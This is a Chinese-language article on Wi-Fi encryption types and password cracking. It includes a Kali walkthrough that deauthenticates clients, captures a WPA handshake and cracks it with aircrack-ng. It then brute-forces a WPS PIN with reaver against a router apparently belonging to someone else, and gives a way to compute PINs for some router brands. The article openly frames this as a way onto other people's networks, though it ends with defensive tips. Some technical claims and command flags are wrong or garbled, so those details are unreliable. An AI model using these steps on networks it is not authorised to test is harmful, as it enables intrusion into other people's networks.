大家应该都有过这样的经历, 就是感觉自己家的无线网怎么感觉好像变慢了,"是不是有人蹭我家网?"" 还有的时候咱们出门也想试图蹭一下别人家的网 ", 这里" 蹭网 "的前提是要破解对方的" 无线密码 ", 那么这个" 无线密码 "到底是否安全呢? 其技术原理是如何的呢? 我们又应该如何防范他人" 蹭网 " 呢?
今天我们就以本篇文章内容给大家梳理一下 "无线 WiFi 网络的密码破解攻防及原理"!
一, Wi-Fi 的加密方式
这里以无线路由器的 Wi-Fi 加密方式讲解.
目前无线路由器里带有的加密模式主要有: WEP,WPA-PSK(TKIP),WPA2-PSK(AES)和 WPA-PSK(TKIP)+WPA2-PSK(AES).
1. WEP(有线等效加密)(很容易被破解)
WEP 是 WiredEquivalentPrivacy 的简称, 802.11b 标准里定义的一个用于无线局域网 (WLAN) 的安全性协议. WEP 被用来提供和有线 lan 同级的安全性. LAN 天生比 WLAN 安全, 因为 LAN 的物理结构对其有所保护, 部分或全部网络埋在建筑物里面也可以防止未授权的访问. 经由无线电波的 WLAN 没有同样的物理结构, 因此容易受到攻击, 干扰. WEP 的目标就是通过对无线电波里的数据加密提供安全性, 如同端 - 端发送一样. WEP 特性里使用了 rsa 数据安全性公司开发的 rc4prng 算法. 如果你的无线基站支持 Mac 过滤, 推荐你连同 WEP 一起使用这个特性(Mac 过滤比加密安全得多). 尽管从名字上看似乎是一个针对有线网络的安全选项, 其实并不是这样.
WEP 标准在无线网络的早期已经创建, 目标是成为无线局域网 WLAN 的必要的安全防护层, 但是 WEP 的表现无疑令人非常失望. 它的根源在于设计上存在缺陷. 在使用 WEP 的系统中, 在无线网络中传输的数据是使用一个随机产生的密钥来加密的. 但是, WEP 用来产生这些密钥的方法很快就被发现具有可预测性, 这样对于潜在的入侵者来说, 就可以很容易的截取和破解这些密钥. 即使是一个中等技术水平的无线黑客也可以在两到三分钟内迅速的破解 WEP 加密.
IEEE802.11 的动态有线等效保密 (WEP) 模式是二十世纪九十年代后期设计的, 当时功能强大的加密技术作为有效的武器受到美国严格的出口限制. 由于害怕强大的加密算法被破解, 无线网络产品是被被禁止出口的. 然而, 仅仅两年以后, 动态有线等效保密模式就被发现存在严重的缺点. 但是二十世纪九十年代的错误不应该被当著无线网络安全或者 IEEE802.11 标准本身, 无线网络产业不能等待电气电子工程师协会修订标准, 因此他们推出了动态密钥完整性协议 TKIP(动态有线等效保密的补丁版本).
尽管 WEP 已经被证明是过时且低效的, 但是今天在许多现代的无线访问点和无线路由器中, 它依然被支持的加密模式. 不仅如此, 它依然是被个人或公司所使用的最多的加密方法之一. 如果你正在使用 WEP 加密, 如果你对你的网络的安全性非常重视的话, 那么以后尽可能的不要再使用 WEP, 因为那真的不是很安全.
2. WPA-PSK(TKIP)(安全性较高, 但是也可以被破解)
无线网络最初采用的安全机制是 WEP(有线等效加密), 但是后来发现 WEP 是很不安全的, 802.11 组织开始著手制定新的安全标准, 也就是后来的 802.11i 协议. 但是标准的制定到最后的发布需要较长的时间, 而且考虑到消费者不会因为为了网络的安全性而放弃原来的无线设备, 因此 Wi-Fi 联盟在标准推出之前, 在 802.11i 草案的基础上, 制定了一种称为 WPA(Wi-FiProctedAccess)的安全机制, 它使用 TKIP(临时密钥完整性协议), 它使用的加密算法还是 WEP 中使用的加密算法 RC4, 所以不需要修改原来无线设备的硬件, WPA 针对 WEP 中存在的问题: IV 过短, 密钥管理过于简单, 对消息完整性没有有效的保护, 通过软件升级的方法提高网络的安全性.
WPA 的出现给用户提供了一个完整的认证机制, AP 根据用户的认证结果决定是否允许其接入无线网络中; 认证成功后可以根据多种方式 (传输数据包的多少, 用户接入网络的时间等) 动态地改变每个接入用户的加密密钥. 另外, 对用户在无线中传输的数据包进行 MIC 编码, 确保用户数据不会被其他用户更改. 作为 802.11i 标准的子集, WPA 的核心就是 IEEE802.1x 和 TKIP(TemporalKeyIntegrityProtocol).
WPA 考虑到不同的用户和不同的应用安全需要, 例如: 企业用户需要很高的安全保护(企业级), 否则可能会泄露非常重要的商业机密; 而家庭用户往往只是使用网络来浏览 Internet, 收发 E-mail, 打印和共享文件, 这些用户对安全的要求相对较低. 为了满足不同安全要求用户的需要, WPA 中规定了两种应用模式: 企业模式, 家庭模式(包括小型办公室). 根据这两种不同的应用模式, WPA 的认证也分别有两种不同的方式.
对于大型企业的应用, 常采用 "802.1x+EAP" 的方式, 用户提供认证所需的凭证. 但对于一些中小型的企业网络或者家庭用户, WPA 也提供一种简化的模式, 它不需要专门的认证服务器. 这种模式叫做 "WPA 预共享密钥 (WPA-PSK)", 它仅要求在每个 WLAN 节点(AP, 无线路由器, 网卡等) 预先输入一个密钥即可实现. 这个密钥仅仅用于认证过程, 而不用于传输数据的加密. 数据加密的密钥是在认证成功后动态生成, 系统将保证 "一户一密", 不存在像 WEP 那样全网共享一个加密密钥的情形, 因此大大地提高了系统的安全性.
3. WPA2-PSK(AES)(安全性较高, 破解难度有所增加)
在 802.11i 颁布之后, Wi-Fi 联盟推出了 WPA2, 它支持 AES(高级加密算法), 因此它需要新的硬件支持, 它使用 CCMP(计数器模式密码块链消息完整码协议). 在 WPA/WPA2 中, PTK 的生成依赖 PMK, 而 PMK 获的有两种方式, 一个是 PSK 的形式就是预共享密钥, 在这种方式中 PMK=PSK, 而另一种方式中, 需要认证服务器和站点进行协商来产生 PMK.
IEEE802.11 所制定的是技术性标准, Wi-Fi 联盟所制定的是商业化标准, 而 Wi-Fi 所制定的商业化标准基本上也都符合 IEEE 所制定的技术性标准. WPA(Wi-FiProtectedAccess)事实上就是由 Wi-Fi 联盟所制定的安全性标准, 这个商业化标准存在的目的就是为了要支持 IEEE802.11i 这个以技术为导向的安全性标准. 而 WPA2 其实就是 WPA 的第二个版本. WPA 之所以会出现两个版本的原因就在于 Wi-Fi 联盟的商业化运作.
我们知道 802.11i 这个任务小组成立的目的就是为了打造一个更安全的无线局域网, 所以在加密项目里规范了两个新的安全加密协定 - TKIP 与 CCMP(有些无线网路设备中会以 AES,AES-CCMP 的字眼来取代 CCMP). 其中 TKIP 虽然针对 WEP 的弱点作了重大的改良, 但保留了 RC4 演算法和基本架构, 言下之意, TKIP 亦存在著 RC4 本身所隐含的弱点. 因而 802.11i 再打造一个全新, 安全性更强, 更适合应用在无线局域网环境的加密协定 - CCMP. 所以在 CCMP 就绪之前, TKIP 就已经完成了. 但是要等到 CCMP 完成, 再发布完整的 IEEE802.11i 标准, 可能尚需一段时日, 而 Wi-Fi 联盟为了要使得新的安全性标准能够尽快被布署, 以消弭使用者对无线局域网安全性的疑虑, 进而让无线局域网的市场可以迅速扩展开来, 因而使用已经完成 TKIP 的 IEEE802.11i 第三版草案 (IEEE802.11idraft3) 为基准, 制定了 WPA. 而于 IEEE 完成并公布 IEEE802.11i 无线局域网安全标准后, Wi-Fi 联盟也随即公布了 WPA 第 2 版(WPA2).WPA=IEEE802.11idraft3=IEEE802.1X/EAP+WEP(选择性项目)/TKIPWPA2=IEEE802.11i=IEEE802.1X/EAP+WEP(选择性项目)/TKIP/CCMP
4. 还有最后一种加密模式就是 WPA-PSK(TKIP)+WPA2-PSK(AES)
这是目前无线路由里最高的加密模式, 目前这种加密模式因为兼容性的问题, 还没有被很多用户所使用. 目前最广为使用的就是 WPA-PSK(TKIP)和 WPA2-PSK(AES)两种加密模式. 相信在经过加密之后的无线网络, 一定能够让我们的用户安心放心的上网冲浪. 所以此种方式安全性很高但是考虑到兼容性问题, 没有得到广泛使用.
二, 针对 Wi-Fi 网络的密码破解方法
1. 主流方法:
不需要技术的破解方法, 利用手机端 "WiFi 万能钥匙" 等软件蹭网.
在抓到客户端与目标 Wi-Fi 的握手包后实施基于密码字典的暴力破解, 成功率取决于目标 Wi-Fi 的密码强度, 字典的大小或准确度, 实施爆破的机器运算性能.
在开启了 wps 功能的 Wi-Fi, 使用 pin 码猜解的方法获得 Wi-Fi 密码.
2. 原理:
Wi-Fi 万能钥匙 " 类 App 的真正原理是, 收集用户手机上成功连接过的 Wi-Fi 账号和密码, 并上传, 存储到 App 的服务器上, 等到附近的蹭网者搜索到同一个网络时, 该 App 就可以根据附近热点的配置信息, 从服务器上自动匹配并取得相应的密码, 通过数据流量发送到手机端, 从而完成 Wi-Fi 连网.
(1) 暴力破解的原理
普通的无线路由器, 加密方法一般使用 wpa ,wpa2 或 wep,wep 因为太不安全极易被破解在现行的无线路由器上已基本取消. 所以我们搜索到的待破 Wi-Fi 基本都是 wpa 或 wpa2 加密的. 至于使用认证服务器 (如 radius 等) 的 wpa 认证在个人无线 Wi-Fi 领域基本不可能, 所以通常我们能搜索到的待破 Wi-Fi 都是基于本地密码的 wpa 或 wpa2 加密 Wi-Fi.
破解 wpa 和 wpa2 加密的 Wi-Fi 网络的基本原理通俗来讲, 我们需要先在无线网卡监听模式下搜集目标 Wi-Fi 的信息, 例如 ssid(Wi-Fi 名称),BSSID(也就是目标 Wi-Fi 无线路由器的 Mac), 已连接的客户端 Mac, 信号强度等信息. 然后发送伪造的取消关联的数据包迫使已连接到该 Wi-Fi 的客户端与 Wi-Fi 断开连接, 重点是, 断开连接后, 客户端会重新尝试发起连接到该 Wi-Fi 网络, 这时客户端会发送一个带有认证密码的数据包以便请求重新连入 Wi-Fi, 这个包俗称为握手包. 这时我们的攻击机利用攻击程序和无线网卡监听抓取到这个握手包, 这个握手包里就含有 Wi-Fi 密码, 但这个密码当然是经过加密的, 所以后续就需要我们使用攻击程序调用密码字典结合获取到的 BSSID, 客户端 Mac 等信息进行运算, 不断运算字典中的每一个密码, 直到有一个密码使用 wpa 算法能算出一个与抓到的握手包中一致的加密字串, 这个就是目标 Wi-Fi 的密码了. 如果把字典里的每一个密码都算过一遍仍然没有一个与抓取到的握手包加密字串一致的, 就破解失败, 退出, 构造新的字典再试.
(2) pin 码破解 Wi-Fi 密码
在早期的无线路由器上开启了 wps 功能, 这个功能简单来讲就是为了方便设备连接 Wi-Fi, 不需要每次都繁琐的输入密码而设立的一个 8 位的纯数字字串, 客户端可以通过 pin 码快速关联路由器 Wi-Fi.wps 这个功能的设计初衷是方便用户连接 Wi-Fi, 却成为破解 Wi-Fi 最有效的手段, 因为 8 位纯数字的 pin 码, 最多只有 1 亿种可能的组合, 而由于最后一位是前七位的校验和, 所以只需要猜解前七位, 猜解的可能组合数就只有一千万种了, 又由于发送 pin 码连接 Wi-Fi,pin 码前 4 位出错的返回报错内容和后三位错误的返回报错报文内容不同, 所以只需要先猜前四位, 前四位对了再猜后面三位, 都对了以后最后一位校验和自动可算出来, 所以实际最多只需要猜解 10000+1000 种组合, 一般我们 2 秒种尝试一个 pin 码, 那么理论上最多花费 6 个小时就一定可以猜解出目标路由器的 pin 码, 进而获取到 Wi-Fi 密码.
需要说明的是, 尽管 pin 码破解 Wi-Fi 被认为是最有效的 Wi-Fi 破解手段, 但在实际中不容易实现, 一是因为 pin 码不安全的问题已广泛的被无线路由器的生产厂商所重视, 所以现今购买的无线路由器基本都已经取消了这个 wps 功能. 二是在 pin 的过程中需要不断的向目标路由器发送 pin 码进行尝试, 对方路由器要返回响应报文, 有时因路由器本身不稳定或路由器性能等问题, 路由器不知不觉就被我们 pin 死了, 使得猜解不能继续或路由器在接收到过多错误的 pin 码之后会自动休息一段时间, 期间不接收 pin 码, 这导致我们 pin 码猜解的时间过长而没有意义.
三, 破解过程实例讲解
1. 准备工具
笔记本
USB 无线上网卡(必备)
kali 系统
密码字典
2. 第一种方法: 暴力破解法
何为暴力破解呢, 其实就是一个一个密码去试, 直到正确的密码.
现在的 Wi-Fi 一般加密都是:
WEP(有线等效加密)-- 采用 WEP64 位或者 128 位数据加密.
WPA-PSK[TKIP]--- 采用预共享秘钥的 Wi-Fi 保护访问, 采用 WPA-PSK 标准加密技术, 加密类型为 TKIP.
WPA-PSK[TKIP]+WPA2-PSK[AES]--- 允许客户端使用 WPA-PSK[TKIP]或者 WPA2-PSK[AES].
3. 开始实验:
(1) 第一步
进入 kali 在终端输入如下
airmon-ng
列出网卡信息
(2) 第二步
输入:
airmon-ng start wlan0
开启网卡监控
可以使用 ifconfig 命令查看一下网卡信息:
ifconfig
可以看到网卡的名字已经变了
(3) 第三步
airodump-ng wlan0mon
扫描 Wi-Fi 信号
这里我用自己家的 Wi-Fi 做实验
(4) 第四步
上图可以看出
BSSID 是 50:3A:A0:33:B2:8C 信道 (CH) 是: 2
输入:
airodump-ng -w freedom -c 2 --bssid 50:3A:A0:33:B2:8C wlan0mon -ignore-negative-one
抓去握手包
-c: 指定信道
-w: 指定抓去握手包的存放位置或者名字, freedom 是一会抓去的握手包的名字
--bssid: 指定路由器的 Mac
(5) 第五步
再开一个终端输入命令:
aireplay-ng - -deatu 10 -a 路由器 Mac -c 客户机 Mac
wlan0mon - -ignore-negative-one
使用 airplay-ng 工具强制断开已经连接到 Wi-Fi 的设备重新连接路由器, 来进行抓去数据包
-deatu: 指定发送反认证包的个数, 也可以使用 - 0(阿利伯数字 0)来指定反认证包的个数
-a: 指定路由器的 Mac
-c: 指定客户机的 Mac
(6) 第六步
破解握手包
aircrack-ng -a -w dict freedom-*.cap
-a1: 指定 WEP 加密方式
-a2: 指定 WPA-PSk 加密方式
dict: 字典的名字
freedom-*.cap: 握手包
这个就是我的 Wi-Fi 密码
破解完成, 成功与否靠强大的字典和运气了.
4. 第二种方法
(1) 第一步
Wash 扫描开启 WPS 的网络
wash -i wlan0mon [-C]
由于周围没有开启 WPS 功能的 Wi-Fi, 就会出现上图那样, 这时不要急, 因为有些隐藏了起来, 我们直接来.
用前面那个扫 Wi-Fi 的命令:
airodump-ng wlan0mon
看见小编圈起来的 Mac 没有, 选择一个 PWR 的值的绝对值小于 70 的 Wi-Fi 破解
(2) 第二步
选择一个路由器
我在这选择的是名字为: FAST_F70E 的 Wi-Fi
就他了: E4:D3:32:7F:F7:0E -45 2 0 0 6 54e. WPA2 CCMP PSK FAST_F70E
然后命令如下:
reaver -i mon0 -b E4:D3:32:7F:F7:0E -a -S -vv
E4:D3:32:7F:F7:0E 这个 Mac 根据路由器的 Mac 更改, 我破解的 Wi-Fi 的 Mac 是 E4:D3:32:7F:F7:0E
如图上表示可以破解, 开启了 wps 功能
出现上图这样, 就表示不能破解换其他 Wi-Fi 破解吧孩子
这样就表示破解出来了
注意事项:
如果密码被改了你知道他 Wi-Fi 的 pin 码就用如下命令: reaver-i mon0 -b Mac -p PIN
pin 码有 8 位: 所以就是 10 的 8 次方, 要穷举 1000000000 次
这样 pin 也是有限制的, 比如要被 pin 出的路由器必须得开启 wps 功能; 貌似现在很多都是防 pin 路由器或 300 秒 pin 限制的.
有些路由 pin 码可以通过计算得到: 腾达和磊科的产品如果路由 Mac 地址是以 "C83A35" 或 "00B00C" 打头那么可以直接计算出 PIN 值.
比如这个: bssid :Tenda_579A18 Mac :C8:3A:35:57:9A:18 通过计算器将 Mac 后 6 位换算成 10 进制数, 得到 5741080(pin 码的前 7 位), 最多试 10 次或通过软件得到该路由 pin 码!
破解时推荐这个命令:
reaver -i mon0 -b E4:D3:32:7F:F7:0E -a -S -d9 -t9 -vv
因为 - d9 -t9 参数可以防止 pin 死路由器.
四, 如何防止被蹭网
(1) 可以设置复杂密码, 密码包含字符, 符号和数字, 长度设置到 12 位以上, 越复杂的无线密码对方破解难度越大. 加密方式选用 WPA-PSK/WPA2-PSK 加密方式.
(2) 隐藏自己的无线网络名称.
当我们隐藏无线认证之后, 别人是无法找到我们的网络连接点, 所以无法连接到我们的网络. 点击路由器页面左上角的无线基本设置. 在右侧可以看到有一个 SSID 服务广播. 把前面的勾打掉, 点击下面的保存. 就可以隐藏无线信号
(3) 设置白名单, 开启 Mac 地址过滤功能, 手动把自己家里上网设备的 Mac 地址添加进来, 这时即使有人破解了 Wi-Fi 密码也无法上网.
来源: http://netsecurity.51cto.com/art/201904/594707.htm